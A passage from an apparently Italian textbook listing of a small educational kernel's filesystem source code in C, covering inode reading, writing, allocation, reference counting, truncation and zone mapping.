610041          for (d = 0; d < size_read; d += (sizeof (directory_t)), dir++)
610042            {
```

```
610043              if (dir->ino != 0                                 &&
610044                  strncmp (dir->name, ".", NAME_MAX) != 0     &&
610045                  strncmp (dir->name, "..", NAME_MAX) != 0)
610046                {
610047                  //
610048                  // There is an item and the directory is not empty.
610049                  //
610050                  return (0);     // false
610051                }
610052            }
610053        }
610054      //
610055      // Nothing was found; good!
610056      //
610057      return (1);         // true
610058  }
```

105.4.19 kernel/fs/inode_file_read.c

Si veda la sezione 104.3.18.

```
620001  #include <kernel/fs.h>
620002  #include <errno.h>
620003  #include <kernel/k_libc.h>
620004  //----------------------------------------------------------------------
620005  ssize_t
620006  inode_file_read (inode_t *inode, off_t offset,
620007                   void *buffer, size_t count, int *eof)
620008  {
620009      unsigned char *destination = (unsigned char *) buffer;
620010      unsigned char  zone_buffer[SB_MAX_ZONE_SIZE];
620011      blkcnt_t       blkcnt_read;
620012      off_t          off_fzone;   // File zone offset.
620013      off_t          off_buffer;  // Destination buffer offset.
620014      ssize_t        size_read;   // Byte transfer counter.
620015      zno_t          fzone;
620016      off_t          off_end;
620017      //
620018      // The inode pointer must be valid, and
620019      // the start byte must be positive.
620020      //
620021      if (inode == NULL || offset < 0)
620022        {
620023          errset (EINVAL);        // Invalid argument.
620024          return ((ssize_t) -1);
620025        }
620026      //
620027      // Check if the start address is inside the file size. This is not
620028      // an error, but zero bytes are read and `*eof' is set. Otherwise,
620029      // `*eof' is reset.
620030      //
```

```
620031      if (offset >= inode->size)
620032        {
620033          (eof != NULL)? *eof = 1: 0;
620034          return (0);
620035        }
620036      else
620037        {
620038          (eof != NULL)? *eof = 0: 0;
620039        }
620040      //
620041      // Adjust, if necessary, the size of read, because it cannot be
620042      // larger than the actual file size. The variable 'off_end' is
620043      // used to calculate the position *after* the requested read.
620044      // Remember that the first file position is byte zero; so,
620045      // the byte index inside the file goes from zero to inode->size -1.
620046      //
620047      off_end  = offset;
620048      off_end += count;
620049      if (off_end > inode->size)
620050        {
620051          count = (inode->size - offset);
620052        }
620053      //
620054      // Read the first file-zone inside the zone buffer.
620055      //
620056      fzone       = offset / inode->sb->blksize;
620057      off_fzone   = offset % inode->sb->blksize;
620058      blkcnt_read = inode_fzones_read (inode, fzone, zone_buffer,
620059                                       (blkcnt_t) 1);
620060      if (blkcnt_read <= 0)
620061        {
620062          //
620063          // Sorry!
620064          //
620065          return (0);                 // Zero bytes read!
620066        }
620067      //
620068      // The first file-zone was read: copy it inside the destination
620069      // buffer and continue reading the other zones needed. Variables
620070      // 'off_buffer' (destination buffer index) and 'size_read' (copy
620071      // byte counter) must be reset here. Variable 'off_fzone' is already
620072      // set with the initial offset inside 'zone_buffer'.
620073      //
620074      off_buffer = 0;
620075      size_read  = 0;
620076      //
620077      while (count)
620078        {
620079          //
620080          // Copy the zone buffer into the destination. Variables
620081          // 'off_fzone', 'off_buffer' and 'size_read' must not be
620082          // initialized inside the loop.
```

```
620083          //
620084          for (; off_fzone < inode->sb->blksize && count > 0;
620085               off_fzone++, off_buffer++, size_read++,
620086               count--, offset++)
620087            {
620088              destination[off_buffer] = zone_buffer[off_fzone];
620089            }
620090          //
620091          // If not all the bytes are copied, read the next file-zone.
620092          //
620093          if (count)
620094            {
620095              //
620096              // Read another file-zone inside the zone buffer.
620097              // Again, the function 'inode_fzones_read()' might
620098              // return a null pointer, but the variable 'errno' tells if
620099              // it is really an error. For this reason, the variable
620100              // 'errno' must be reset before the read, and checked after
620101              // it.
620102              //
620103              fzone       = offset / inode->sb->blksize;
620104              off_fzone   = offset % inode->sb->blksize;
620105              blkcnt_read = inode_fzones_read (inode, fzone, zone_buffer,
620106                                               (blkcnt_t) 1);
620107              if (blkcnt_read <= 0)
620108                {
620109                  //
620110                  // Sorry: only 'size_read' bytes read!
620111                  //
620112                  return (size_read);
620113                }
620114            }
620115        }
620116      //
620117      // The requested size was read completely.
620118      //
620119      return (size_read);
620120  }
```

105.4.20 kernel/fs/inode_file_write.c

Si veda la sezione 104.3.19.

```
630001  #include <kernel/fs.h>
630002  #include <errno.h>
630003  #include <kernel/k_libc.h>
630004  //----------------------------------------------------------------------
630005  ssize_t
630006  inode_file_write (inode_t *inode, off_t offset, void *buffer,
630007                    size_t count)
630008  {
```

```
630009      unsigned char *buffer_source = (unsigned char *) buffer;
630010      unsigned char  buffer_zone[SB_MAX_ZONE_SIZE];
630011      off_t          off_fzone;    // File zone offset.
630012      off_t          off_source;   // Source buffer offset.
630013      ssize_t        size_copied;  // Byte transfer counter.
630014      ssize_t        size_written; // Byte written counter.
630015      zno_t          fzone;
630016      zno_t          zone;
630017      blkcnt_t       blkcnt_read;
630018      int            status;
630019      //
630020      // The inode pointer must be valid, and
630021      // the start byte must be positive.
630022      //
630023      if (inode == NULL || offset < 0)
630024        {
630025          errset (EINVAL);        // Invalid argument.
630026          return ((ssize_t) -1);
630027        }
630028      //
630029      // Read a zone, modify it with the source buffer, then write it back
630030      // and continue reading and writing other zones if needed.
630031      //
630032      for (size_written = 0, off_source = 0, size_copied = 0;
630033           count > 0; size_written += size_copied)
630034        {
630035          //
630036          // Read the next file-zone inside the zone buffer: the function
630037          // `inode_zone()' is used to create automatically the zone, if
630038          // it does not exist.
630039          //
630040          fzone     = offset / inode->sb->blksize;
630041          off_fzone = offset % inode->sb->blksize;
630042          zone      = inode_zone (inode, fzone, 1);
630043          if (zone == 0)
630044            {
630045              //
630046              // Return previously written bytes. The variable `errno' is
630047              // already set by `inode_zone()'.
630048              //
630049              return (size_written);
630050            }
630051          blkcnt_read = inode_fzones_read (inode, fzone, buffer_zone,
630052                                           (blkcnt_t) 1);
630053          if (blkcnt_read <= 0)
630054            {
630055              //
630056              // Even if the value is zero, there is a problem reading the
630057              // zone to be overwritten (because `inode_zone()' should
630058              // have already created such zone). The variable `errno' is
630059              // already set by `inode_fzones_read()'.
630060              //
```

```
630061                  return ((ssize_t) -1);
630062                }
630063              //
630064              // The zone was successfully loaded inside the buffer: overwrite
630065              // the zone buffer with the source buffer.
630066              //
630067              for (size_copied = 0;
630068                   off_fzone < inode->sb->blksize && count > 0;
630069                   off_fzone++, off_source++, size_copied++, count--,
630070                   offset++)
630071                {
630072                  buffer_zone[off_fzone] = buffer_source[off_source];
630073                }
630074              //
630075              // Save the zone.
630076              //
630077              status = zone_write (inode->sb, zone, buffer_zone);
630078              if (status != 0)
630079                {
630080                  //
630081                  // Cannot save the zone: return the size already written.
630082                  // The variable 'errno' is already set by 'zone_write()'.
630083                  //
630084                  return (size_written);
630085                }
630086              //
630087              // Zone saved: update the file size if necessary (and the inode
630088              // too).
630089              //
630090              if (inode->size <= offset)
630091                {
630092                  inode->size    = offset;
630093                  inode->changed = 1;
630094                  inode_save (inode);
630095                }
630096            }
630097          //
630098          // All done successfully: return the value.
630099          //
630100          return (size_written);
630101      }
```

105.4.21 kernel/fs/inode_free.c

Si veda la sezione 104.3.20.

```
640001      #include <kernel/fs.h>
640002      #include <errno.h>
640003      #include <kernel/k_libc.h>
640004      //----------------------------------------------------------------------
640005      int
```

```
640006 inode_free (inode_t *inode)
640007 {
640008     int      map_element;
640009     int      map_bit;
640010     int      map_mask;
640011     //
640012     if (inode == NULL)
640013       {
640014         errset (EINVAL);         // Invalid argument.
640015         return (-1);
640016       }
640017     //
640018     map_element = inode->ino / 16;
640019     map_bit     = inode->ino % 16;
640020     map_mask    = 1 << map_bit;
640021     //
640022     if (inode->sb->map_inode[map_element] & map_mask)
640023       {
640024         inode->sb->map_inode[map_element] -= map_mask;
640025         inode->sb->changed = 1;
640026       }
640027     //
640028     inode->mode       = 0;
640029     inode->uid        = 0;
640030     inode->gid        = 0;
640031     inode->size       = 0;
640032     inode->time       = 0;
640033     inode->links      = 0;
640034     inode->changed    = 1;
640035     inode->references = 0;
640036     //
640037     return (inode_save (inode));
640038 }
```

105.4.22 kernel/fs/inode_fzones_read.c

Si veda la sezione 104.3.21.

```
650001 #include <kernel/fs.h>
650002 #include <errno.h>
650003 #include <kernel/k_libc.h>
650004 //----------------------------------------------------------------------
650005 blkcnt_t
650006 inode_fzones_read (inode_t *inode, zno_t zone_start,
650007                    void *buffer, blkcnt_t blkcnt)
650008 {
650009     unsigned char *destination = (unsigned char *) buffer;
650010     int            status;        // `zone_read()' return value.
650011     blkcnt_t       blkcnt_read;   // Zone counter/index.
650012     zno_t          zone;
650013     zno_t          fzone;
```

```
650014      //
650015      // Read the zones into the destination buffer.
650016      //
650017      for (blkcnt_read = 0, fzone = zone_start;
650018           blkcnt_read < blkcnt;
650019           blkcnt_read++, fzone++)
650020        {
650021          //
650022          // Calculate the zone number, from the file-zone, reading the
650023          // inode. If a zone is not really allocated, the result is zero
650024          // and is valid.
650025          //
650026          zone = inode_zone (inode, fzone, 0);
650027          if (zone == ((zno_t) -1))
650028            {
650029              //
650030              // This is an error. Return the read zones quantity.
650031              //
650032              return (blkcnt_read);
650033            }
650034          //
650035          // Update the destination buffer pointer.
650036          //
650037          destination += (blkcnt_read * inode->sb->blksize);
650038          //
650039          // Read the zone inside the destination buffer, but if the zone
650040          // is zero, a zeroed zone must be filled.
650041          //
650042          if (zone == 0)
650043            {
650044              memset (destination, 0, (size_t) inode->sb->blksize);
650045            }
650046          else
650047            {
650048              status = zone_read (inode->sb, zone, destination);
650049              if (status != 0)
650050                {
650051                  //
650052                  // Could not read the requested zone: return the zones
650053                  // read correctly.
650054                  //
650055                  errset (EIO);               // I/O error.
650056                  return (blkcnt_read);
650057                }
650058            }
650059        }
650060      //
650061      // All zones read correctly inside the buffer.
650062      //
650063      return (blkcnt_read);
650064  }
```

105.4.23 kernel/fs/inode_fzones_write.c

Si veda la sezione 104.3.21.

```
660001 #include <kernel/fs.h>
660002 #include <errno.h>
660003 #include <kernel/k_libc.h>
660004 //----------------------------------------------------------------------
660005 blkcnt_t
660006 inode_fzones_write (inode_t *inode, zno_t zone_start, void *buffer,
660007                     blkcnt_t blkcnt)
660008 {
660009     unsigned char *source = (unsigned char *) buffer;
660010     int            status;              // 'zone_read()' return value.
660011     blkcnt_t       blkcnt_written;      // Written zones counter.
660012     zno_t          zone;
660013     zno_t          fzone;
660014     //
660015     // Write the zones into the destination buffer.
660016     //
660017     for (blkcnt_written = 0, fzone = zone_start;
660018          blkcnt_written < blkcnt;
660019          blkcnt_written++, fzone++)
660020       {
660021         //
660022         // Find real zone from file-zone.
660023         //
660024         zone = inode_zone (inode, fzone, 1);
660025         if (zone == 0 || zone == ((zno_t) -1))
660026           {
660027             //
660028             // Function 'inode_zone()' should allocate automatically
660029             // a missing zone and should return a valid zone or
660030             // (zno_t) -1. Anyway, even if a zero zone is returned,
660031             // it is an error. Return the 'blkcnt_written' value.
660032             //
660033             return (blkcnt_written);
660034           }
660035         //
660036         // Update the source buffer pointer for the next zone write.
660037         //
660038         source += (blkcnt_written * inode->sb->blksize);
660039         //
660040         // Write the zone from the buffer content.
660041         //
660042         status  = zone_write (inode->sb, zone, source);
660043         if (status != 0)
660044           {
660045             //
660046             // Cannot write the zone. Return 'size_written_zone' value.
660047             //
660048             return (blkcnt_written);
660049           }
```

```
660050         }
660051       //
660052       // All zones read correctly inside the buffer.
660053       //
660054       return (blkcnt_written);
660055   }
```

105.4.24 kernel/fs/inode_get.c

Si veda la sezione 104.3.23.

```
670001   #include <kernel/fs.h>
670002   #include <errno.h>
670003   #include <kernel/k_libc.h>
670004   #include <kernel/devices.h>
670005   //----------------------------------------------------------------------
670006   inode_t *
670007   inode_get (dev_t device, ino_t ino)
670008   {
670009       sb_t              *sb;
670010       inode_t           *inode;
670011       unsigned long int start;
670012       size_t             size;
670013       ssize_t            n;
670014       int                status;
670015       //
670016       // Verify if the root file system inode was requested.
670017       //
670018       if (device == 0 && ino == 1)
670019         {
670020           //
670021           // Get root file system inode.
670022           //
670023           inode = inode_reference (device, ino);
670024           if (inode == NULL)
670025             {
670026               //
670027               // The file system root directory inode is not yet loaded:
670028               // get the first super block.
670029               //
670030               sb = sb_reference ((dev_t) 0);
670031               if (sb == NULL || sb->device == 0)
670032                 {
670033                   //
670034                   // This error should never happen.
670035                   //
670036                   errset (EUNKNOWN);       // Unknown error.
670037                   return (NULL);
670038                 }
670039               //
670040               // Load the file system root directory inode (recursive
```

```
670041              // call).
670042              //
670043              inode = inode_get (sb->device, (ino_t) 1);
670044              if (inode == NULL)
670045                {
670046                  //
670047                  // This error should never happen.
670048                  //
670049                  return (NULL);
670050                }
670051              //
670052              // Return the directory inode.
670053              //
670054              return (inode);
670055            }
670056          else
670057            {
670058              //
670059              // The file system root directory inode is already
670060              // available.
670061              //
670062              if (inode->references >= INODE_MAX_REFERENCES)
670063                {
670064                  errset (ENFILE); // Too many files open in system.
670065                  return (NULL);
670066                }
670067              else
670068                {
670069                  inode->references++;
670070                  return (inode);
670071                }
670072            }
670073        }
670074      //
670075      // A common device-inode pair was requested: try to find an already
670076      // cached inode.
670077      //
670078      inode = inode_reference (device, ino);
670079      if (inode != NULL)
670080        {
670081          if (inode->references >= INODE_MAX_REFERENCES)
670082            {
670083              errset (ENFILE);    // Too many files open in system.
670084              return (NULL);
670085            }
670086          else
670087            {
670088              inode->references++;
670089              return (inode);
670090            }
670091        }
670092      //
```

```
670093      // The inode is not yet available: get super block.
670094      //
670095      sb = sb_reference (device);
670096      if (sb == NULL)
670097        {
670098          errset (ENODEV);        // No such device.
670099          return (NULL);
670100        }
670101      //
670102      // The super block is available, but the inode is not yet cached.
670103      // Verify if the inode map reports it as allocated.
670104      //
670105      status = sb_inode_status (sb, ino);
670106      if (!status)
670107        {
670108          //
670109          // The inode is not allocated and cannot be loaded.
670110          //
670111          errset (ENOENT);        // No such file or directory.
670112          return (NULL);
670113        }
670114      //
670115      // The inode was not already cached, but is considered as allocated
670116      // inside the inode map. Find a free slot to load the inode inside
670117      // the inode table (in memory).
670118      //
670119      inode = inode_reference ((dev_t) -1, (ino_t) -1);
670120      if (inode == NULL)
670121        {
670122          errset (ENFILE);        // Too many files open in system.
670123          return (NULL);
670124        }
670125      //
670126      // A free inode slot was found. The inode must be loaded.
670127      // Calculate the memory inode size, to be saved inside the file
670128      // system: the administrative inode data, as it is saved inside
670129      // the file system. The 'inode_t' type is bigger than the real
670130      // inode administrative size, because it contains more data, that is
670131      // not saved on disk.
670132      //
670133      size   = offsetof (inode_t, sb);
670134      //
670135      // Calculating start position for read.
670136      //
670137      // [1] Boot block.
670138      // [2] Super block.
670139      // [3] Inode bit map.
670140      // [4] Zone bit map.
670141      // [5] Previous inodes: consider that the inode zero is
670142      //     present in the inode map, but not in the inode
670143      //     table.
670144      //
```

```
670145      start  = 1024;                            // [1]
670146      start += 1024;                            // [2]
670147      start += (sb->map_inode_blocks * 1024);   // [3]
670148      start += (sb->map_zone_blocks * 1024);    // [4]
670149      start += ((ino -1) * size);               // [5]
670150      //
670151      // Read inode from disk.
670152      //
670153      n = dev_io ((pid_t) -1, device, DEV_READ, start, inode, size, NULL);
670154      if (n != size)
670155        {
670156          errset (EIO);                     // I/O error.
670157          return (NULL);
670158        }
670159      //
670160      // The inode was read: add some data to the working copy in memory.
670161      //
670162      inode->sb            = sb;
670163      inode->sb_attached   = NULL;
670164      inode->ino           = ino;
670165      inode->references    = 1;
670166      inode->changed       = 0;
670167      //
670168      inode->blkcnt        = inode->size;
670169      inode->blkcnt       /= sb->blksize;
670170      if (inode->size % sb->blksize)
670171        {
670172          inode->blkcnt++;
670173        }
670174      //
670175      // Return the inode pointer.
670176      //
670177      return (inode);
670178  }
```

105.4.25 kernel/fs/inode_put.c

Si veda la sezione 104.3.24.

```
680001  #include <kernel/fs.h>
680002  #include <errno.h>
680003  #include <kernel/k_libc.h>
680004  //----------------------------------------------------------------------
680005  int
680006  inode_put (inode_t *inode)
680007  {
680008      int         status;
680009      //
680010      // Check for valid argument.
680011      //
680012      if (inode == NULL)
```

```
680013          {
680014            errset (EINVAL);                 // Invalid argument.
680015            return (-1);
680016          }
680017        //
680018        // Check for valid references.
680019        //
680020        if (inode->references <= 0)
680021          {
680022            errset (EUNKNOWN);               // Cannot put an inode with
680023            return (-1);                     // zero or negative references.
680024          }
680025        //
680026        // Debug.
680027        //
680028        if (inode->sb->device == 0 && inode->ino != 0)
680029          {
680030            k_printf ("kernel alert: trying to close inode with device "
680031                      "zero, but a number different than zero!\n");
680032            errset (EUNKNOWN);               // Cannot put an inode with
680033            return (-1);                     // zero or negative references.
680034          }
680035        //
680036        // There is at least one reference: now the references value is
680037        // reduced.
680038        //
680039        inode->references--;
680040        inode->changed = 1;
680041        //
680042        // If 'inode->ino' is zero, it means that the inode was created in
680043        // memory, but there is no file system for it. For example, it might
680044        // be a standard I/O inode create automatically for a process.
680045        // Inodes with number zero cannot be removed from a file system.
680046        //
680047        if (inode->ino == 0)
680048          {
680049            //
680050            // Nothing to do: just return.
680051            //
680052            return (0);
680053          }
680054        //
680055        //  References counter might be zero.
680056        //
680057        if (inode->references == 0)
680058          {
680059            //
680060            // Check if the inode is to be deleted (until there are
680061            // run time references, the inode cannot be removed).
680062            //
680063            if (inode->links == 0
680064             || (S_ISDIR (inode->mode) && inode->links == 1))
```

```
680065             {
680066               //
680067               // The inode has no more run time references and file system
680068               // links are also zero (or one for a directory): remove it!
680069               //
680070               status = inode_truncate (inode);
680071               if (status != 0)
680072                 {
680073                   k_perror (NULL);
680074                 }
680075               //
680076               inode_free (inode);
680077               return (0);
680078             }
680079         }
680080       //
680081       // Save inode to disk and return.
680082       //
680083       return (inode_save (inode));
680084   }
```

105.4.26 kernel/fs/inode_reference.c

Si veda la sezione 104.3.25.

```
690001   #include <kernel/fs.h>
690002   #include <errno.h>
690003   #include <kernel/k_libc.h>
690004   //----------------------------------------------------------------------
690005   inode_t *
690006   inode_reference (dev_t device, ino_t ino)
690007   {
690008       int   s;                              // Slot index.
690009       sb_t *sb_table = sb_reference (0);
690010       //
690011       // If device is zero, and inode is zero, a reference to the whole
690012       // table is returned.
690013       //
690014       if (device == 0 && ino == 0)
690015         {
690016           return (inode_table);
690017         }
690018       //
690019       // If device is ((dev_t) -1) and the inode is ((ino_t) -1), a
690020       // reference to a free inode slot is returned.
690021       //
690022       if (device == (dev_t) -1 && ino == ((ino_t) -1))
690023         {
690024           for (s = 0; s < INODE_MAX_SLOTS; s++)
690025             {
690026               if (inode_table[s].references == 0)
```

```
690027                 {
690028                   return (&inode_table[s]);
690029                 }
690030             }
690031           return (NULL);
690032         }
690033       //
690034       // If device is zero and the inode is 1, a reference to the root
690035       // directory inode is returned.
690036       //
690037       if (device == 0 && ino == 1)
690038         {
690039           //
690040           // The super block table is to be scanned.
690041           //
690042           for (device = 0, s = 0; s < SB_MAX_SLOTS; s++)
690043             {
690044               if (sb_table[s].device != 0                 &&
690045                   sb_table[s].inode_mounted_on == NULL)
690046                 {
690047                   device = sb_table[s].device;
690048                   break;
690049                 }
690050             }
690051           if (device == 0)
690052             {
690053               errset (E_CANNOT_FIND_ROOT_DEVICE);
690054               return (NULL);
690055             }
690056           //
690057           // Scan the inode table to find inode 1 and the same device.
690058           //
690059           for (s = 0; s < INODE_MAX_SLOTS; s++)
690060             {
690061               if (inode_table[s].sb->device == device     &&
690062                   inode_table[s].ino == 1)
690063                 {
690064                   return (&inode_table[s]);
690065                 }
690066             }
690067           //
690068           // Cannot find a root file system inode.
690069           //
690070           errset (E_CANNOT_FIND_ROOT_INODE);
690071           return (NULL);
690072         }
690073       //
690074       // A device and an inode number were selected: find the inode
690075       // associated to it.
690076       //
690077       for (s = 0; s < INODE_MAX_SLOTS; s++)
690078         {
```

```
690079          if (inode_table[s].sb->device == device &&
690080              inode_table[s].ino == ino)
690081            {
690082              return (&inode_table[s]);
690083            }
690084        }
690085      //
690086      // The inode was not found.
690087      //
690088      return (NULL);
690089  }
```

105.4.27 kernel/fs/inode_save.c

Si veda la sezione 104.3.26.

```
700001  #include <kernel/fs.h>
700002  #include <errno.h>
700003  #include <kernel/k_libc.h>
700004  #include <kernel/devices.h>
700005  //----------------------------------------------------------------------
700006  int
700007  inode_save (inode_t *inode)
700008  {
700009      size_t            size;
700010      unsigned long int start;
700011      ssize_t           n;
700012      //
700013      // Check for valid argument.
700014      //
700015      if (inode == NULL)
700016        {
700017          errset (EINVAL);                // Invalid argument.
700018          return (-1);
700019        }
700020      //
700021      // If the inode number is zero, no file system is involved!
700022      //
700023      if (inode->ino == 0)
700024        {
700025          return (0);
700026        }
700027      //
700028      // Save the super block to disk.
700029      //
700030      sb_save (inode->sb);
700031      //
700032      // Save the inode to disk.
700033      //
700034      if (inode->changed)
700035        {
```

```
700036          size   = offsetof (inode_t, sb);
700037          //
700038          // Calculating start position for write.
700039          //
700040          // [1] Boot block.
700041          // [2] Super block.
700042          // [3] Inode bit map.
700043          // [4] Zone bit map.
700044          // [5] Previous inodes: consider that the inode zero is
700045          //     present in the inode map, but not in the inode
700046          //     table.
700047          //
700048          start  = 1024;                                 // [1]
700049          start += 1024;                                 // [2]
700050          start += (inode->sb->map_inode_blocks * 1024);  // [3]
700051          start += (inode->sb->map_zone_blocks * 1024);   // [4]
700052          start += ((inode->ino -1) * size);             // [5]
700053          //
700054          // Write the inode.
700055          //
700056          n = dev_io ((pid_t) -1, inode->sb->device, DEV_WRITE, start,
700057                      inode, size, NULL);
700058          //
700059          inode->changed = 0;
700060        }
700061      return (0);
700062  }
```

105.4.28 kernel/fs/inode_stdio_dev_make.c

Si veda la sezione 104.3.27.

```
710001  #include <kernel/fs.h>
710002  #include <errno.h>
710003  #include <kernel/k_libc.h>
710004  //----------------------------------------------------------------------
710005  inode_t *
710006  inode_stdio_dev_make (dev_t device, mode_t mode)
710007  {
710008      inode_t     *inode;
710009      //
710010      // Check for arguments.
710011      //
710012      if (mode == 0 || device == 0)
710013        {
710014          errset (EINVAL);        // Invalid argument.
710015          return (NULL);
710016        }
710017      //
710018      // Find a free inode.
710019      //
```

```
710020      inode = inode_reference ((dev_t) -1, (ino_t) -1);
710021      if (inode == NULL)
710022        {
710023          //
710024          // No free slot available.
710025          //
710026          errset (ENFILE);        // Too many files open in system.
710027          return (NULL);
710028        }
710029      //
710030      // Put data inside the inode. Please note that 'inode->ino' must be
710031      // zero, because it is necessary to recognize it as an internal
710032      // inode with no file system. Otherwise, with a value different than
710033      // zero, 'inode_put()' will try to remove it. [*]
710034      //
710035      inode->mode          = mode;
710036      inode->uid           = 0;
710037      inode->gid           = 0;
710038      inode->size          = 0;
710039      inode->time          = k_time (NULL);
710040      inode->links         = 0;
710041      inode->direct[0]     = device;
710042      inode->direct[1]     = 0;
710043      inode->direct[2]     = 0;
710044      inode->direct[3]     = 0;
710045      inode->direct[4]     = 0;
710046      inode->direct[5]     = 0;
710047      inode->direct[6]     = 0;
710048      inode->indirect1     = 0;
710049      inode->indirect2     = 0;
710050      inode->sb_attached   = NULL;
710051      inode->sb            = 0;
710052      inode->ino           = 0;   // Must be zero. [*]
710053      inode->blkcnt        = 0;
710054      inode->references    = 1;
710055      inode->changed       = 0;
710056      //
710057      // Add all access permissions.
710058      //
710059      inode->mode       |= (S_IRWXU|S_IRWXG|S_IRWXO);
710060      //
710061      // Return the inode pointer.
710062      //
710063      return (inode);
710064  }
```

105.4.29 kernel/fs/inode_table.c

Si veda la sezione 104.3.25.

```
720001 #include <kernel/fs.h>
720002 //----------------------------------------------------------------------
720003 inode_t inode_table[INODE_MAX_SLOTS];
```

105.4.30 kernel/fs/inode_truncate.c

Si veda la sezione 104.3.28.

```
730001 #include <kernel/fs.h>
730002 #include <errno.h>
730003 #include <kernel/k_libc.h>
730004 //----------------------------------------------------------------------
730005 int
730006 inode_truncate (inode_t *inode)
730007 {
730008   unsigned int indirect_zones;
730009   zno_t        zone_table1[INODE_MAX_INDIRECT_ZONES];
730010   zno_t        zone_table2[INODE_MAX_INDIRECT_ZONES];
730011   unsigned int i;             // Direct index.
730012   unsigned int i0;            // Single indirect index.
730013   unsigned int i1;            // Double indirect first index.
730014   unsigned int i2;            // Double indirect second index.
730015   int          status;        // `zone_read()' return value.
730016   //
730017   // Calculate how many indirect zone numbers are stored inside
730018   // a zone: it depends on the zone size.
730019   //
730020   indirect_zones  = inode->sb->blksize / 2;
730021   //
730022   // Scan and release direct zones. Errors are ignored.
730023   //
730024   for (i = 0; i < 7; i++)
730025     {
730026       zone_free (inode->sb, inode->direct[i]);
730027       inode->direct[i] = 0;
730028     }
730029   //
730030   // Scan single indirect zones, if present.
730031   //
730032   if (inode->blkcnt > 7 && inode->indirect1 != 0)
730033     {
730034       //
730035       // There is a single indirect table to load. Errors are
730036       // almost ignored.
730037       //
730038       status = zone_read (inode->sb, inode->indirect1, zone_table1);
730039       if (status == 0)
```

```
730040          {
730041            //
730042            // Scan the table and remove zones.
730043            //
730044            for (i0 = 0; i0 < indirect_zones; i0++)
730045              {
730046                zone_free (inode->sb, zone_table1[i0]);
730047              }
730048          }
730049        //
730050        // Remove indirect table too.
730051        //
730052        zone_free (inode->sb, inode->indirect1);
730053        //
730054        // Clear single indirect reference inside the inode.
730055        //
730056        inode->indirect1 = 0;
730057      }
730058    //
730059    // Scan double indirect zones, if present.
730060    //
730061    if (   inode->blkcnt > (7+indirect_zones)
730062        && inode->indirect2 != 0)
730063      {
730064        //
730065        // There is a double indirect table to load. Errors are
730066        // almost ignored.
730067        //
730068        status = zone_read (inode->sb, inode->indirect2, zone_table1);
730069        if (status == 0)
730070          {
730071            //
730072            // Scan the table and get second level indirection.
730073            //
730074            for (i1 = 0; i1 < indirect_zones; i1++)
730075              {
730076                if ((inode->blkcnt > (7+indirect_zones+indirect_zones*i1))
730077                    && zone_table1[i1] != 0)
730078                  {
730079                    //
730080                    // There is a second level table to load.
730081                    //
730082                    status = zone_read (inode->sb, zone_table1[i1],
730083                                        zone_table2);
730084                    if (status == 0)
730085                      {
730086                        //
730087                        // Release zones.
730088                        //
730089                        for (i2 = 0;
730090                             i2 < indirect_zones &&
730091    (inode->blkcnt > (7+indirect_zones+indirect_zones*i1+i2));
```

```
730092                              i2++)
730093                          {
730094                            zone_free (inode->sb, zone_table2[i2]);
730095                          }
730096                        //
730097                        // Remove second level indirect table.
730098                        //
730099                        zone_free (inode->sb, zone_table1[i1]);
730100                      }
730101                  }
730102              }
730103            //
730104            // Remove first level indirect table.
730105            //
730106            zone_free (inode->sb, inode->indirect2);
730107          }
730108        //
730109        // Clear single indirect reference inside the inode.
730110        //
730111        inode->indirect2 = 0;
730112      }
730113    //
730114    // Update super block and inode data.
730115    //
730116    sb_save (inode->sb);
730117    inode->size = 0;
730118    inode->changed = 1;
730119    inode_save (inode);
730120    //
730121    // Successful return.
730122    //
730123    return (0);
730124  }
```

105.4.31 kernel/fs/inode_zone.c

Si veda la sezione 104.3.29.

```
740001  #include <kernel/fs.h>
740002  #include <errno.h>
740003  #include <kernel/k_libc.h>
740004  //----------------------------------------------------------------------
740005  zno_t
740006  inode_zone (inode_t *inode, zno_t fzone, int write)
740007  {
740008    unsigned int indirect_zones;
740009    unsigned int allocated_zone;
740010    zno_t        zone_table[INODE_MAX_INDIRECT_ZONES];
740011    char         buffer[SB_MAX_ZONE_SIZE];
740012    unsigned int i0;             // Single indirect index.
740013    unsigned int i1;             // Double indirect first index.
```

```
740014     unsigned int i2;            // Double indirect second index.
740015     int          status;
740016     zno_t        zone_second;   // Second level table zone.
740017     //
740018     // Calculate how many indirect zone numbers are stored inside
740019     // a zone: it depends on the zone size.
740020     //
740021     indirect_zones  = inode->sb->blksize / 2;
740022     //
740023     // Convert file-zone number into a zone number.
740024     //
740025     if (fzone < 7)
740026       {
740027         //
740028         // 0 <= fzone <= 6
740029         // The zone number is inside the direct zone references.
740030         // Verify to have such zone.
740031         //
740032         if (inode->direct[fzone] == 0)
740033           {
740034             //
740035             // There is not such zone, but we do not consider
740036             // it an error, because a file can be not contiguous.
740037             //
740038             if (!write)
740039               {
740040                 return ((zno_t) 0);
740041               }
740042             //
740043             // Must be allocated.
740044             //
740045             allocated_zone = zone_alloc (inode->sb);
740046             if (allocated_zone == 0)
740047               {
740048                 //
740049                 // Cannot allocate the zone. The variable 'errno' is
740050                 // set by 'zone_alloc()'.
740051                 //
740052                 return ((zno_t) -1);
740053               }
740054             //
740055             // The zone is allocated: clear the zone and save.
740056             //
740057             memset (buffer, 0, SB_MAX_ZONE_SIZE);
740058             status = zone_write (inode->sb, allocated_zone, buffer);
740059             if (status < 0)
740060               {
740061                 //
740062                 // Cannot overwrite the zone. The variable 'errno' is
740063                 // set by 'zone_write()'.
740064                 //
740065                 return ((zno_t) -1);
```

```
740066                }
740067              //
740068              // The zone is allocated and cleared: save the inode.
740069              //
740070              inode->direct[fzone] = allocated_zone;
740071              inode->changed = 1;
740072              status = inode_save (inode);
740073              if (status != 0)
740074                {
740075                  //
740076                  // Cannot save the inode. The variable 'errno' is
740077                  // set 'inode_save()'.
740078                  //
740079                  return ((zno_t) -1);
740080                }
740081            }
740082          //
740083          // The zone is there: return it.
740084          //
740085          return (inode->direct[fzone]);
740086        }
740087      if (fzone < 7 + indirect_zones)
740088        {
740089          //
740090          // 7 <= fzone <= (6 + indirect_zones)
740091          // The zone number is inside the single indirect zone
740092          // references: verify to have the indirect zone table.
740093          //
740094          if (inode->indirect1 == 0)
740095            {
740096              //
740097              // There is not such zone, but it is not an error.
740098              //
740099              if (!write)
740100                {
740101                  return ((zno_t) 0);
740102                }
740103              //
740104              // The first level of indirection must be initialized.
740105              //
740106              allocated_zone = zone_alloc (inode->sb);
740107              if (allocated_zone == 0)
740108                {
740109                  //
740110                  // Cannot allocate the zone for the indirection table:
740111                  // this is an error and the 'errno' value is produced
740112                  // by 'zone_alloc()'.
740113                  //
740114                  return ((zno_t) -1);
740115                }
740116              //
